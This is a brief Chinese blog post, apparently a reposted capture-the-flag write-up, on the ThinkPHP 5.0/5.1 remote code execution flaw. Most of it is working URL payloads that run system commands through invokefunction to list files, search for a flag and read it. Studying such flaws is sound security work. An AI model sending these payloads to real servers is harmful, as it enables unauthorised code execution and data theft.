本文共 466 字,大约阅读时间需要 1 分钟。
thinkphp 5.0和5.1版本存在一个getshell漏洞,主要原因在于框架对控制器名的检测不够严格。当强制路由未开启时,可能导致未授权的代码执行。以下是相关测试步骤和发现过程:
测试是否存在漏洞:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls此请求成功返回信息,确认存在漏洞。
进一步查找flag文件:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"通过查询发现相关flag文件。
查看文件信息:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag成功读取flag文件内容。
转载地址:http://gznh.baihongyu.com/